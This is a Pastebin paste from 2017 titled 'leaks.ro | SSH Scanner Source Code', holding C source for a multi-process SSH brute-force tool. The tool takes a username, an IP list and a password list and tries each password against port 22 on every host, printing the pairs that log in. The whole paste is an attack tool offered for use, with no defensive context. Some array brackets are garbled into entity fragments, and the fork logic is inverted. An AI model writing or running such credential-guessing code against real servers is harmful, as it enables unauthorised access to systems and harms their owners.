Advertisement
Krusher666

leaks.ro | SSH Scanner Source Code

Apr 30th, 2017
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.34 KB | None | 0 0
  1. #include <libssh/libssh.h>
  2.  #include <stdio.h>
  3.  #include <stdlib.h>
  4.  #include <string.h>
  5.  #include <sys/types.h>
  6.  #include <sys/socket.h>
  7.  
  8.  #include <unistd.h>
  9.  
  10.  int main(int argc, char **argv)
  11.  {
  12.      ssh_session sess = NULL;
  13.      FILE *ipfp, *passfp;
  14.      char *user = NULL;
  15.    char pass***91;256***93;, host***91;256***93;;
  16.    int maxthreads = 0, threads = 0;
  17.  
  18.      if(argc != 5) {
  19.       printf("Usage: %s <user> <iplist.txt> <pwlist.txt> <threads>\n", argv***91;0***93;);
  20.        exit(-1);
  21.     }
  22.  
  23.     user = strdup(argv***91;1***93;);
  24.  ipfp = fopen(argv***91;2***93;, "r");
  25.  if(ipfp == NULL) {
  26.        printf("Invalid ip list\n");
  27.          exit(-1);
  28.     }
  29.     passfp = fopen(argv***91;3***93;, "r");
  30.     if(passfp == NULL) {
  31.          printf("Invalid pass list\n");
  32.        exit(-1);
  33.     }
  34.  
  35.     maxthreads = atoi(argv***91;4***93;);
  36.  
  37.  sess = ssh_new();
  38.     if(sess == NULL) {
  39.        printf("Unable to create libssh session\n");
  40.          exit(-1);
  41.     }
  42.     ssh_options_set(sess, SSH_OPTIONS_PORT_STR, "22");
  43.    ssh_options_set(sess, SSH_OPTIONS_USER, user);
  44.  
  45.    while(!feof(ipfp)) {
  46.          if(!fgets(host, sizeof(host) - 1, ipfp))
  47.              continue;
  48.         *strchr(host, '\n') = '\0';
  49.  
  50.       ssh_options_set(sess, SSH_OPTIONS_HOST, host);
  51.  
  52.        fseek(passfp, 0, SEEK_SET);
  53.       while(!feof(passfp)) {
  54.            if(!fgets(pass, sizeof(pass) - 1, passfp))
  55.                continue;
  56.             *strchr(pass, '\n') = '\0';
  57.  
  58.           while(threads > maxthreads) {
  59.                  wait(NULL);
  60.               threads--;
  61.            }
  62.             threads++;
  63.            usleep(500000);
  64.  
  65.           if(fork()) {
  66.                  if(ssh_connect(sess) != SSH_OK) {
  67.                     printf("%s\n", ssh_get_error(sess));
  68.                      exit(0);
  69.                  }
  70.                 if(ssh_userauth_password(sess, NULL, pass) == SSH_AUTH_SUCCESS) {
  71.                     printf("FOUND: %s - %s:%s\n", host, user, pass);
  72.                      ssh_disconnect(sess);
  73.                     exit(0);
  74.                  } else {
  75.                      printf("ERROR: %s - %s:%s\n", host, user, pass);
  76.                      ssh_disconnect(sess);
  77.                     exit(0);
  78.                  }
  79.             }
  80.         }
  81.  
  82.     }
  83.  
  84.     while(wait(NULL) >= 0);
  85.  
  86.    free(user);
  87.  fclose(ipfp);
  88.     fclose(passfp);
  89.  ssh_free(sess);
  90.  }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement